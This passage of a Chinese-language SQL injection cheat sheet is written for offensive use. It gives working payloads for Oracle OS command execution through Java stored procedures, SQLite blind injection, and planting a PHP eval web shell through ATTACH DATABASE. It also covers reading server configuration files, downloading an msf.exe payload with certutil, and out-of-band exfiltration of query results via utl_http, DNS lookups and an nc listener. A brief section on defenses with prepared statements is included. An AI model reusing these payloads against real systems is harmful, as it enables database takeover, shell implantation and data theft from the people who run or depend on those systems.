1 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { public static String execCommand(String command) throws IOException, InterruptedException { Runtime rt = Runtime.getRuntime(); int bufSize = 4096; byte buffer[] = new byte[bufSize]; String rc = ""; int len; try{ Process p = rt.exec(command); BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1){ rc += new String(buffer).split("\0")[0];; } bis.close(); p.waitFor(); return rc; } catch (Exception e) { rc = e.getMessage(); } finally { return rc; } } } / create or replace function javae(p_command in varchar2) return varchar2 as language java name 'oraexec.execCommand(java.lang.String) return String'; / |
放在sqlplus同级目录下,然后分别执行:
然后执行命令即可:
1 | 1 select javae('/sbin/ifconfig') from dual; |
3. DBMS_JAVA.RUNJAVA
测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
先给当前用户赋予java.io.FilePermission
:
1 | 1 2 3 4 5 6 7 8 9 10 11 12 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / |
然后执行命令:
1 | 1 2 3 4 5 -- 11g SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/success') FROM DUAL; -- 10g/11g, 注意10g中还需要readFileDescriptor和writeFileDescriptor SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/1.txt') FROM DUAL; |
11g:
成功创建文件:
10g:
成功将命令写入文件
sqlite
参考链接:https://xz.aliyun.com/t/8627#toc-0
sqlite的文件以.db
结尾,注释符为--+
安装sqlite
1 | apt-get install sqlite3 |
运行sqlite
1 | sqlite3 |
连接界面如下
常用操作
1 | # 在当前目录创建数据库 |
sqlite_master
- sqlite_master保存数据库表的关键信息
sqlite_master的表结构
1 | sqlite> .schema sqlite_master |
从sqlite_master查表名
1 | sqlite> select tbl_name from sqlite_master where type='table'; |
获取表名和列名
1 | sqlite> select sql from sqlite_master where type='table'; |
注入步骤
1 | # 确定注入 |
布尔注入
1 | ?id=1 and substr(sqlite_version(),1,1)='3'; |
时间盲注
sqlite的时间函数是randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
而且sqlite没有if函数,可以使用case来构造条件
1 | ?id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end); |
写shell
写shell依靠依赖sqlite的创建数据库功能
思路:
1 | 通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload |
通过attach附加数据库
1 | ';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); -- |
sql注入防御
基本思路:输入(解决数字型注入)——-转义处理(解决字符型注入)——-输出(解决数据库报错)
检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类
型函数(比如is_numeric()
,ctype_digit()
)到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。如果程序等待
输入一个数字,可以考虑使用is_numeric()
来检查,或者直接使用settype()
来转换它的类型,也可以用sprintf()
把
它格式化为数字。PHP内置转义函数
1
2
3
4Addslashes() http://php.net/manual/zh/function.addslashes.php
magic_quote_gpc http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc
mysql_real_escape_string() http://php.net/manual/zh/function.mysql-real-escape-string.php
mysql_escape_string() http://php.net/manual/zh/function.mysql-escape-string.php数据库报错信息泄露防范:
把php.ini
文件display_errors = Off
数据库查询函数前面加一个@
字符防止二次注入
- 方案一:指定php连接mysql的字符集
1
2mysql_set_charset('gbk',$conn);
_GET['id']); - 方案二:将character_set_client设置为binary(二进制)
1
2mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",
$conn);
最有效可预防SQL注入攻击的防御方式:预处理技术进行数据库查询
代码示例:
1 |
|
预编译的绕过
假如目标使用了
order by
语句,可以通过orderExpression
来绕过预编译这意味这
orderExpression
可以是一个selectExpression
也可以是一个函数。 例如使用一个case
语句。select * from users order by (case when (true) then lastname else firstname)
因此可以用任何布尔类型来替代when(…)的一部分,从而判断语句是否起作用。例子:
1
select * from category order by(case when (true) then NAME end)
站库分离的系统渗透方法
站库分离示意图:
由Web服务器渗透数据库服务器
获得web服务器权限之后可以对数据库配置文件、数据库内容分析、查找备份等对数据库地址进行定位然后渗透
1 | netstat -ano|findstr "1433"# 查mssql端口所连接的服务器 |
数据库 | 数据库端口 | 数据库类型 |
---|---|---|
Oracle | 1521 | 关系型 |
MySQL | 3306 | 关系型 |
SQLServer | 1433 | 关系型 |
MongoDB | 27017 | 非关系型 |
Redis | 6379 | 非关系型 |
memcached | 11211 | 非关系型 |
postgreSQL | 5432 | 非关系型 |
由数据库服务器对Web服务器进行渗透
- 查询连接的信息
1 | select @@hostname; //服务端主机名称 |
读取敏感文件
hosts文件中解析的一些内网业务的IP地址和域名,
IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere
的相关配置文件以及网卡信息等。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19select load_file('C:/Windows/System32/drivers/etc/hosts');
/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules //获取网卡名称
/etc/network/interfaces //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡 //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]判断MSSQL是否是站库分离
比较客户端主机名称和服务端主机名称
1
2
3select host_name(); //客户端主机名称
select @@servername; //服务端主机名称
select serverproperty('MachineName'); //服务端主机名称也可以通过MSSQL的
sysprocesses
系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST
,可以定位到当前已连接到sqlinject
数据库的用户名和主机名等信息。
有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址。
1 | select name from master.sys.sysdatabases; |
还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器。
1 | and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end))) |
下载远程文件
通过
Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell
下载文件1
2certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
C:ProgramDatamsf.exe执行远程payload
1
#使用exploit/multi/script/web_delivery和exploit/windows/misc/hta_server模块
DNSLog
Mysql带外注入
UNC路径只适用于Windows
mysql.ini 中 secure_file_priv 必须为空
1 | select load_file("\\\\xxx.q5i9by.dnslog.cn\\x.txt"); |
Oracle带外注入
通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。
检测是否支持utl_http.request
1 | http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') -- |
注意|| 注意转码%7C%7C
应用:
在服务器端开启监听:
1 | nc -lnvvp 2019 |
注入代码:
1 | //查看当前oracle数据库版本指纹 |
其他函数
utl_http.request
1
2
3#utl_http.request向外网主机发送http请求,需要出外网http
select utl_http.request('dnslog'||(select user from dual)) from dual;
#注意一下哦。这里的 || 是字符串连接符,别搞错了好吧。dnslog指的是你的地址。utl_inaddr.get_host_address
1
2
3dns解析带外
把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dualSYS.DBMS_LDAP.INIT
1
2在 oracle 10g和11g里面只需要public权限
SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;HTTPURITYPE
1
2HTTPURITYPE根据给定的URI创建一个实例
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
以下几个都可以发出网络请求:
1 | UTL_INADDR.GET_HOST_ADDRESS |
敏感信息查找
筛选行数多的表
1 | select table_name,table_rows,table_schema,table_comment from information_schema.tables order by table_rows desc; |
查看连接者的ip
1 | SELECT * FROM performance_schema.hosts; |
参考链接
- SQL注入之sqlserver注入
- SQLServer数据库注入详解
- SQL手工注入基础详解—-MSSQL篇
- docker创建sqlserver
- SQL Server系统表sysobjects介绍与使用
- Windows Server 2008 R2服务器上安装SQL Server2008
- Web渗透之mssql差异备份getshell
- 合天实验-有回显的Mssql手工注入
- https://www.itdaan.com/blog/2019/05/30/b279dd6e1e829ed7b27762c74915efd0.html
- https://550532788.github.io/2020/08/10/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84Oracle%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/
- Oracle权限管理详解](https://www.cnblogs.com/yw0219/p/5855210.html)